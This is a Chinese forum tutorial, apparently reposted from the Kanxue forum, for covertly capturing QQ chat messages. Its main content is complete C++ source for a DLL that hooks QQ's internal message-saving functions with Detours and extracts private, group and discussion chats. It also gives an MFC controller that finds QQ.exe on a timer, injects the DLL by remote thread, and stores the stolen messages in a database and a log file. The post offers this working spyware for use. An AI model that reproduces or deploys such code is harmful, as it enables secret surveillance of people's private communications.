虽然是老的QQ版本,不过思路也可以学习下。非常不错的理论和实践操作!大家先对QQ采用ollydbg调试QQ,
分析出相关QQ内部函数 //?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z //?GetSelfUin@Contact@Util@@YAKXZ //?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z //?GetDiscussName@Group@Util@@YA?AVCTXStringW@@K@Z //?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z //?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z //?GetSelfUin@Contact@Util@@YAKXZ
然后我们写一个DLL来注射到QQ内部,调用QQ相关函数,获取相关QQ聊天记录信息,然后将QQ聊天记录用sendmessage发送出来。 DLL代码如下
下面我们写一个MFC窗口程序,用来接收QQ聊天信息,并将QQ聊天记录显示出来,同时检索QQ进程,并将DLL注射到QQ的体内。
然后大家看下效果图 登陆
个人对个人聊天
群聊
讨论组聊天
*转载请注明来自看雪论坛@PEdiy.com
分析出相关QQ内部函数 //?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z //?GetSelfUin@Contact@Util@@YAKXZ //?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z //?GetDiscussName@Group@Util@@YA?AVCTXStringW@@K@Z //?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z //?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z //?GetSelfUin@Contact@Util@@YAKXZ
然后我们写一个DLL来注射到QQ内部,调用QQ相关函数,获取相关QQ聊天记录信息,然后将QQ聊天记录用sendmessage发送出来。 DLL代码如下
#include "stdafx.h" #include "QQspy.h" #include "detours.h" #pragma comment (lib, "detours.lib") #include#include #pragma comment (lib, "shlwapi.lib") #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif // // Note! // // If this DLL is dynamically linked against the MFC // DLLs, any functions exported from this DLL which // call into MFC must have the AFX_MANAGE_STATE macro // added at the very beginning of the function. // // For example: // // extern "C" BOOL PASCAL EXPORT ExportedFunction() // { // AFX_MANAGE_STATE(AfxGetStaticModuleState()); // // normal function body here // } // // It is very important that this macro appear in each // function, prior to any calls into MFC. This means that // it must appear as the first statement within the // function, even before any object variable declarations // as their constructors may generate calls into the MFC // DLL. // // Please see MFC Technical Notes 33 and 58 for additional // details. // ///////////////////////////////////////////////////////////////////////////// // CQQMonApp BEGIN_MESSAGE_MAP(CQQMonApp, CWinApp) //{{AFX_MSG_MAP(CQQMonApp) // NOTE - the ClassWizard will add and remove mapping macros here. // DO NOT EDIT what you see in these blocks of generated code! //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CQQMonApp construction CQQMonApp::CQQMonApp() { // TODO: add construction code here, // Place all significant initialization in InitInstance } ///////////////////////////////////////////////////////////////////////////// // The one and only CQQMonApp object CQQMonApp theApp; // 定义函数类型 typedef BOOL (__cdecl *M_SaveMsg_1)(LPCWSTR lpStr, DWORD dTo_Num, DWORD dFrom_Num, DWORD dTo_Num_2, struct ITXMsgPack * TXMsgPack, struct ITXData* TXData); typedef BOOL (__cdecl *M_SaveMsg_2)(wchar_t *group, wchar_t *un_1, wchar_t *username, wchar_t *un_1_, int num_1, int num_2, struct ITXMsgPack * TXMsgPack, struct ITXData* TXData); //?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z typedef int (__cdecl *M_GetMsgTime)(struct ITXMsgPack *TXMsgPack); //?GetSelfUin@Contact@Util@@YAKXZ typedef long (__cdecl *M_GetSelfUin)(void); // typedef PVOID (__cdecl *M_GetPublicName)(LPWSTR *lpBuffer, DWORD dQQNum); //?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z typedef PVOID (__cdecl *M_GetGroupName)(LPWSTR *lpBuffer, DWORD dGroupNum); //?GetDiscussName@Group@Util@@YA?AVCTXStringW@@K@Z typedef PVOID (__cdecl *M_GetDiscussName)(LPWSTR *lpBuffer, DWORD dGroupNum); //?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z typedef int (__cdecl *M_GetGroupMemLongNickname)(unsigned long,unsigned long,CString &); //?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z typedef PVOID (__cdecl *M_GetGroupMemShowName)(ULONG,ULONG); //?GetSelfUin@Contact@Util@@YAKXZ typedef long (__cdecl *M_GetSelfUin)(void); // typedef PVOID (__cdecl *M_GetMsgAbstract)(PVOID lpPar_1, struct ITXMsgPack * TXMsgPack); // 定义函数指针 M_SaveMsg_1 OldSaveMsg_1 = NULL; M_SaveMsg_2 OldSaveMsg_2 = NULL; M_SaveMsg_1 TrueSaveMsg_1 = NULL; M_SaveMsg_2 TrueSaveMsg_2 = NULL; M_GetMsgAbstract TrueGetMsgAbstract = NULL; M_GetMsgTime TrueGetMsgTime = NULL; M_GetGroupName TrueGetGroupName = NULL; M_GetDiscussName TrueGetDiscussName = NULL; M_GetPublicName TrueGetPublicName = NULL; M_GetSelfUin TrueGetSelfUin = NULL; M_GetSelfUin OldGetSelfUin = NULL; M_GetGroupMemLongNickname TrueGetGroupMemLongNickname = NULL; M_GetGroupMemShowName TrueGetGroupMemShowName = NULL; // 定义HOOK函数 BOOL __cdecl NewSaveMsg_1(LPCWSTR lpStr, DWORD dTo_Num, DWORD dFrom_Num, DWORD dTo_Num_2, struct ITXMsgPack * TXMsgPack, struct ITXData* TXData); BOOL __cdecl NewSaveMsg_2(wchar_t *group, wchar_t *un_1, wchar_t *username, wchar_t *un_1_, int num_1, int num_2, struct ITXMsgPack * TXMsgPack, struct ITXData* TXData); //测试娱乐 int __cdecl NewGetSelfUin(void) { return 475318423; } VOID __cdecl Sendinfo(CString str) { COPYDATASTRUCT myCopyDATA; myCopyDATA.cbData=str.GetLength(); myCopyDATA.lpData=str.GetBuffer(0); str.ReleaseBuffer(); HWND hwnd=::FindWindow(NULL,"QQ-聊天记录接收"); if (hwnd) { ::SendMessage(hwnd,WM_COPYDATA,NULL,(LPARAM)&myCopyDATA); } else { AfxMessageBox(_T("发送失败!")); } } VOID __stdcall Joker() { ULONG fnGetSelfUin; ULONG currentQQ; fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ"); if ( fnGetSelfUin) { currentQQ = ((ULONG (__cdecl*)())fnGetSelfUin)(); if ( currentQQ) { char buf[64]; wsprintfA( buf, "新登录QQ: %d", currentQQ); CString fff = buf; fff =fff+"\r\n"; OutputDebugString( fff); theApp.filename=buf; Sendinfo(fff); } } } BOOL CQQMonApp::InitInstance() { // TODO: Add your specialized code here and/or call the base class OutputDebugString("Hook Start"); // 确保加载过KernelUtil.dll HMODULE hModule = NULL; hModule = GetModuleHandle(_T("KernelUtil.dll")); if (hModule == NULL) { hModule = LoadLibrary("KernelUtil.dll"); } // 获得所需函数的地址 TrueSaveMsg_1 = (M_SaveMsg_1) GetProcAddress(hModule, "?SaveMsg@Msg@Util@@YAHPB_WKKKPAUITXMsgPack@@PAUITXData@@@Z"); if (!TrueSaveMsg_1) { return FALSE; } TrueSaveMsg_2 = (M_SaveMsg_2) GetProcAddress(hModule, "?SaveMsg@Msg@Util@@YAHPB_W000KKPAUITXMsgPack@@PAUITXData@@@Z"); if(!TrueSaveMsg_2) { return FALSE; } TrueGetMsgTime = (M_GetMsgTime)GetProcAddress(hModule, "?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z"); if (!TrueGetMsgTime) { return FALSE; } TrueGetPublicName = (M_GetPublicName)GetProcAddress(hModule, "?GetPublicName@Contact@Util@@YA?AVCTXStringW@@K@Z"); if (!TrueGetPublicName) { return FALSE; } TrueGetGroupName = (M_GetGroupName) GetProcAddress(hModule, "?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z"); if (!TrueGetGroupName) { return FALSE; } TrueGetDiscussName = (M_GetDiscussName) GetProcAddress(hModule, "?GetDiscussName@Group@Util@@YA?AVCTXStringW@@K@Z"); if (!TrueGetDiscussName) { return FALSE; } TrueGetSelfUin = (M_GetSelfUin)GetProcAddress(hModule, "?GetSelfUin@Contact@Util@@YAKXZ"); if (!TrueGetSelfUin) { return FALSE; } TrueGetMsgAbstract = (M_GetMsgAbstract)GetProcAddress(hModule, "?GetMsgAbstract@Msg@Util@@YA?AVCTXStringW@@PAUITXMsgPack@@@Z"); if (!TrueGetMsgAbstract) { return FALSE; } // //?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z // TrueGetGroupMemShowName = (M_GetGroupMemShowName) GetProcAddress(hModule, "?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z"); // if (!TrueGetGroupMemShowName) // { // break; // } //?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z // TrueGetGroupMemLongNickname = (M_GetGroupMemLongNickname) GetProcAddress(hModule, "?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z"); // if (!TrueGetDiscussName) // { // break; // } // 开始HOOK if (TrueSaveMsg_1) { OldSaveMsg_1 = (M_SaveMsg_1) DetourFunction((PBYTE)TrueSaveMsg_1, (PBYTE)NewSaveMsg_1); } if (TrueSaveMsg_2) { OldSaveMsg_2 = (M_SaveMsg_2) DetourFunction((PBYTE)TrueSaveMsg_2, (PBYTE)NewSaveMsg_2); } Joker(); //OldGetSelfUin = (M_GetSelfUin) DetourFunction((PBYTE)TrueGetSelfUin, (PBYTE)NewGetSelfUin); return CWinApp::InitInstance(); } BOOL __cdecl NewSaveMsg_1(LPCWSTR lpStr, DWORD dTo_Num, DWORD dFrom_Num, DWORD data3, struct ITXMsgPack * TXMsgPack, struct ITXData* TXData ) { long lSelfQQNum = TrueGetSelfUin(); //调试打印输出,时间 time_t Time; struct tm *local; WCHAR wszStringTime[20] = {0}; Time = (time_t)TrueGetMsgTime(TXMsgPack); local = localtime(&Time); swprintf(wszStringTime,L"%0.2d:%0.2d:%0.2d",local->tm_hour,local->tm_min,local->tm_sec); LPWSTR lpName1 = NULL,lpName2 = NULL; if (TrueGetPublicName) { TrueGetPublicName(&lpName1, dFrom_Num); TrueGetPublicName(&lpName2, dTo_Num); } WCHAR wszStringBuffer[MAX_PATH] = {0}; CString ms1; CString ms2; //发消息人是自己 if(lSelfQQNum == dFrom_Num) { swprintf(wszStringBuffer,L"[个聊][%d]%ws(%u)to(%u) %ws",lSelfQQNum,lpName1,dFrom_Num,dTo_Num,wszStringTime); ms1=wszStringBuffer; // OutputDebugStringW(wszStringBuffer); } //发消息人不是自己 if(lSelfQQNum != dFrom_Num && dTo_Num == lSelfQQNum) { swprintf(wszStringBuffer,L"[个聊][%d]%ws(%u)to(%u) %ws",lSelfQQNum,lpName1,dFrom_Num,dTo_Num,wszStringTime); ms1=wszStringBuffer; // OutputDebugStringW(wszStringBuffer); } CString strBuffer; LPWSTR *lpBuffer =(LPWSTR *)TrueGetMsgAbstract(strBuffer.GetBufferSetLength(4096), TXMsgPack); ms2=ms1+"\r\n"+*lpBuffer; //调试打印输出,内容 //OutputDebugStringW(*lpBuffer); Sendinfo(ms2); OutputDebugString(ms2); return OldSaveMsg_1(lpStr, dTo_Num, dFrom_Num, data3, TXMsgPack, TXData); } BOOL __cdecl NewSaveMsg_2( wchar_t *group, wchar_t *un_1, wchar_t *username, wchar_t *un_1_, int num_1, int num_2, struct ITXMsgPack * TXMsgPack, struct ITXData* TXData ) { //调试打印输出,时间 time_t Time; struct tm *local; WCHAR wszStringTime[20] = {0}; Time = (time_t)TrueGetMsgTime(TXMsgPack); local = localtime(&Time); swprintf(wszStringTime,L"%0.2d:%0.2d:%0.2d",local->tm_hour,local->tm_min,local->tm_sec); long lSelfQQNum = TrueGetSelfUin(); // WCHAR wszStringBuffer[2*MAX_PATH] = {0}; CString strBuffer; LPWSTR *lpBuffer =(LPWSTR *) TrueGetMsgAbstract(strBuffer.GetBufferSetLength(4096), TXMsgPack); CString strGroup(group); LPWSTR lpName1 = NULL; CString ms1; if (strGroup.CompareNoCase("group") == 0) { if (TrueGetPublicName) { TrueGetGroupName(&lpName1, num_1); } // TXStr Str; // TrueGetGroupMemLongNickname(num_1,num_2,Str); // OutputDebugStringW(Str.str); swprintf(wszStringBuffer,L"[群聊][%d][%ws] %ws(%d)(%d) %ws",lSelfQQNum ,lpName1,username, num_1,num_2,wszStringTime); ms1=wszStringBuffer; ms1=ms1+"\r\n"+*lpBuffer; OutputDebugString(ms1); Sendinfo(ms1); //OutputDebugStringW(wszStringBuffer); //OutputDebugStringW(*lpBuffer); } else if (strGroup.CompareNoCase("discuss") == 0) { if (TrueGetDiscussName) { TrueGetDiscussName(&lpName1, num_1); } swprintf(wszStringBuffer,L"[讨聊][%d][%ws] %ws(%d)(%d) %ws",lSelfQQNum ,lpName1,username, num_1,num_2,wszStringTime); ms1=wszStringBuffer; ms1=ms1+"\r\n"+*lpBuffer; OutputDebugString(ms1); Sendinfo(ms1); // OutputDebugStringW(wszStringBuffer); //OutputDebugStringW(*lpBuffer); } return OldSaveMsg_2(group, un_1, username, un_1_, num_1, num_2, TXMsgPack, TXData); } int CQQMonApp::ExitInstance() { // TODO: Add your specialized code here and/or call the base class OutputDebugString("Hook Exit"); DetourRemove((PBYTE)OldSaveMsg_1, (PBYTE)NewSaveMsg_1); DetourRemove((PBYTE)OldSaveMsg_2, (PBYTE)NewSaveMsg_2); // DetourRemove((PBYTE)OldGetSelfUin, (PBYTE)NewGetSelfUin); return CWinApp::ExitInstance(); }
下面我们写一个MFC窗口程序,用来接收QQ聊天信息,并将QQ聊天记录显示出来,同时检索QQ进程,并将DLL注射到QQ的体内。
#include "stdafx.h" #include "QQ-spy.h" #include "QQ-spyDlg.h" #include#include #include "ADOConn.h" #ifdef _DEBUG #define new DEBUG_NEW #endif // 用于应用程序“关于”菜单项的 CAboutDlg 对话框 class CAboutDlg : public CDialog { public: CAboutDlg(); // 对话框数据 enum { IDD = IDD_ABOUTBOX }; protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 // 实现 protected: DECLARE_MESSAGE_MAP() }; CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD) { } void CAboutDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); } BEGIN_MESSAGE_MAP(CAboutDlg, CDialog) END_MESSAGE_MAP() // CQQSPYDlg 对话框 CQQSPYDlg::CQQSPYDlg(CWnd* pParent /*=NULL*/) : CDialog(CQQSPYDlg::IDD, pParent) { m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); } void CQQSPYDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); DDX_Control(pDX, IDC_EDIT1, m_edit); DDX_Control(pDX, IDC_LIST1, m_list); } BEGIN_MESSAGE_MAP(CQQSPYDlg, CDialog) ON_WM_SYSCOMMAND() ON_WM_PAINT() ON_WM_QUERYDRAGICON() //}}AFX_MSG_MAP ON_WM_COPYDATA() ON_LBN_SELCHANGE(IDC_LIST1, &CQQSPYDlg::OnLbnSelchangeList1) ON_BN_CLICKED(IDC_BUTTON1, &CQQSPYDlg::OnBnClickedButton1) ON_WM_TIMER() ON_BN_CLICKED(IDC_BUTTON3, &CQQSPYDlg::OnBnClickedButton3) END_MESSAGE_MAP() // CQQSPYDlg 消息处理程序 BOOL CQQSPYDlg::OnInitDialog() { CDialog::OnInitDialog(); // 将“关于...”菜单项添加到系统菜单中。 // IDM_ABOUTBOX 必须在系统命令范围内。 ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000); CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { CString strAboutMenu; strAboutMenu.LoadString(IDS_ABOUTBOX); if (!strAboutMenu.IsEmpty()) { pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } // 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动 // 执行此操作 SetIcon(m_hIcon, TRUE); // 设置大图标 SetIcon(m_hIcon, FALSE); // 设置小图标 // TODO: 在此添加额外的初始化代码 SetTimer(1,15000,NULL); return TRUE; // 除非将焦点设置到控件,否则返回 TRUE } void CQQSPYDlg::OnSysCommand(UINT nID, LPARAM lParam) { if ((nID & 0xFFF0) == IDM_ABOUTBOX) { CAboutDlg dlgAbout; dlgAbout.DoModal(); } else { CDialog::OnSysCommand(nID, lParam); } } // 如果向对话框添加最小化按钮,则需要下面的代码 // 来绘制该图标。对于使用文档/视图模型的 MFC 应用程序, // 这将由框架自动完成。 void CQQSPYDlg::OnPaint() { if (IsIconic()) { CPaintDC dc(this); // 用于绘制的设备上下文 SendMessage(WM_ICONERASEBKGND, reinterpret_cast (dc.GetSafeHdc()), 0); // 使图标在工作矩形中居中 int cxIcon = GetSystemMetrics(SM_CXICON); int cyIcon = GetSystemMetrics(SM_CYICON); CRect rect; GetClientRect(&rect); int x = (rect.Width() - cxIcon + 1) / 2; int y = (rect.Height() - cyIcon + 1) / 2; // 绘制图标 dc.DrawIcon(x, y, m_hIcon); } else { CDialog::OnPaint(); } } //当用户拖动最小化窗口时系统调用此函数取得光标显示。 // HCURSOR CQQSPYDlg::OnQueryDragIcon() { return static_cast (m_hIcon); } DWORD CQQSPYDlg::FindByPID(PTSTR pszProcessName) { DWORD dwProcessID = 0; HANDLE hProcessSnap; PROCESSENTRY32 pe32; hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { return 0; } pe32.dwSize = sizeof(PROCESSENTRY32); if(!Process32First(hProcessSnap, &pe32)) { CloseHandle(hProcessSnap); return 0; } do { //找到QQ进程 if (strcmp(pszProcessName, pe32.szExeFile) == 0) { dwProcessID = pe32.th32ProcessID; //wprintf(TEXT(">>> ------ PID = %d ------\n"), dwProcessID); //开始内存搜索 CString s1; s1.Format("%d",dwProcessID); int ss=m_list.GetCount(); int tt=0; for (int i=0;i lpData; m_strCopyData=m_strCopyData.Left(pCopyDataStruct->cbData); insertmsg(m_strCopyData); CString ml; m_edit.GetWindowText(ml); m_edit.SetWindowText(ml+m_strCopyData+"\r\n"); return CDialog::OnCopyData(pWnd, pCopyDataStruct); } void CQQSPYDlg::OnLbnSelchangeList1() { // TODO: 在此添加控件通知处理程序代码 } void CQQSPYDlg::OnBnClickedButton1() { TCHAR pszP[] = TEXT("QQ.exe"); DWORD dwPID = FindByPID(pszP); // TODO: 在此添加控件通知处理程序代码 } BOOL CQQSPYDlg::Inject(LPCTSTR szModule, DWORD dwID) { HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwID);//打开进程 if ( !hProcess ) { AfxMessageBox(_T("打开进程失败")); return FALSE; } int cByte = (_tcslen(szModule)+1) * sizeof(TCHAR); LPVOID pAddr = VirtualAllocEx(hProcess, NULL, cByte, MEM_COMMIT, PAGE_READWRITE);//申请内存 if ( !pAddr || !WriteProcessMemory(hProcess, pAddr, szModule, cByte, NULL))//写入dll地址 { AfxMessageBox(_T("申请内存失败")); return FALSE; } #ifdef _UNICODE PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryW"); #else PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryA"); #endif//宽A和U定义 if ( !pfnStartAddr ) { return FALSE; } DWORD dwThreadID = 0; HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, pfnStartAddr, pAddr, 0, &dwThreadID); if ( !hRemoteThread ) { return FALSE; } CloseHandle(hRemoteThread); CloseHandle(hProcess); return(TRUE); } void CQQSPYDlg::OnTimer(UINT_PTR nIDEvent) { // TODO: 在此添加消息处理程序代码和/或调用默认值 switch (nIDEvent) { case 1: ///处理ID为1的定时器... OnBnClickedButton1(); // KillTimer(1); break; case 2: ///处理ID为2的定时器... break; } CDialog::OnTimer(nIDEvent); } void CQQSPYDlg::OnBnClickedButton3() { // TODO: 在此添加控件通知处理程序代码 } void CQQSPYDlg::insertmsg (CString ss) { CString m_strCopyData; m_strCopyData=ss; CString q1="默认消息"; CString q2="默认消息"; CString q3="默认消息"; CString q4="默认消息"; CString q5="默认消息"; CString q6="默认消息"; if ( m_strCopyData.Left(6)=="[讨聊]") { q2="讨聊"; CString s1=m_strCopyData.Right(m_strCopyData.GetLength()-7); int s2=s1.FindOneOf("]"); q1=s1.Mid(0,s2); CString s3 =s1.Right(s1.GetLength()-s2-2); int s4 =s3.FindOneOf("]"); q3=s3.Mid(0,s4); CString s7=s3.Right(s1.GetLength()-s4); int s8 =s7.FindOneOf(")"); int s9 =s7.FindOneOf(":"); q4=s7.Mid(s8+2,s9-s8-6); int s5=s1.FindOneOf(":"); q5=s1.Mid(s5-2,8); q6=s1.Right(s1.GetLength()-s5-6); } if ( m_strCopyData.Left(6)=="[群聊]") { q2="群聊"; CString s1=m_strCopyData.Right(m_strCopyData.GetLength()-7); int s2=s1.FindOneOf("]"); q1=s1.Mid(0,s2); int s3 =s1.FindOneOf("("); int s4 =s1.FindOneOf(")"); q3=s1.Mid(s3+1,s4-s3-1); int s5=s1.FindOneOf("["); int s6=s1.Find("]",s5); q4=s1.Mid(s5+1,s6-s5-1); int s7=s1.FindOneOf(":"); q5=s1.Mid(s7-2,8); q6=s1.Right(s1.GetLength()-s7-6); } if ( m_strCopyData.Left(6)=="[个聊]") { q2="个聊"; CString s1=m_strCopyData.Right(m_strCopyData.GetLength()-7); int s2=s1.FindOneOf("]"); q1=s1.Mid(0,s2); int s3= m_strCopyData.FindOneOf("("); int s4= m_strCopyData.FindOneOf("to"); q3=m_strCopyData.Mid(s3+1,s4-s3-2); CString s5 =m_strCopyData.Right(m_strCopyData.GetLength()-s4-3); int s6 =s5.FindOneOf(")"); q4 =s5.Mid(0,s6); int s7 =s5.FindOneOf(":"); q5 =s5.Mid(s7-2,8); q6=s5.Right(s5.GetLength()-s7-6); } ADOConn m_AdoConn; m_AdoConn.OnInitADOConn(); _bstr_t sql; sql = "select*from QQ"; _RecordsetPtr m_pRecordset; m_pRecordset=m_AdoConn.GetRecordSet(sql); try { m_pRecordset->AddNew();//添加新行 m_pRecordset->PutCollect("本地QQ",(_bstr_t)q1); m_pRecordset->PutCollect("聊天类型",(_bstr_t)q2); m_pRecordset->PutCollect("发送方",(_bstr_t)q3); m_pRecordset->PutCollect("接收方",(_bstr_t)q4); m_pRecordset->PutCollect("时间",(_bstr_t)q5); m_pRecordset->PutCollect("聊天内容",(_bstr_t)q6); m_pRecordset->Update(); m_AdoConn.ExitConnect(); } catch(...) { MessageBox("操作失败"); return; } CString EditPrintf; EditPrintf =m_strCopyData+"\r\n"; int nLength =EditPrintf.GetLength(); CString fileName; fileName="QQ.log"; CStdioFile file; file.Open(fileName,CFile::modeCreate |CFile::modeNoTruncate| CFile::modeWrite); file.SeekToEnd(); file.Write( EditPrintf,nLength); file.Close(); }
然后大家看下效果图 登陆
个人对个人聊天
群聊
讨论组聊天
*转载请注明来自看雪论坛@PEdiy.com
收藏的用户(0) X
正在加载信息~
推荐阅读
最新回复 (0)
站点信息
- 文章2305
- 用户1336
- 访客11455432
每日一句
Talent without working hard is nothing.
没有努力,天份不代表什么。
没有努力,天份不代表什么。
MySQL 数据库优化
This function has none of DETERMINISTIC, NO SQL, or READS SQL DATA in its de
免ROOT实现模拟点击任意位置
Mobaxterm终端神器
CreateProcessW要注意的细节问题
Autonomous NAT Traversal
【教程】win10 彻底卸载edge浏览器
eclipse工程基于Xposed的一个简单Hook
排名前5的开源在线机器学习
Mac OS最简单及(Karabiner)快捷键设置
发一款C++编写的麻将
VMware NAT端口映射外网访问虚拟机linux
独家发布最新可用My-AutoPost——wordpress 采集器
新会员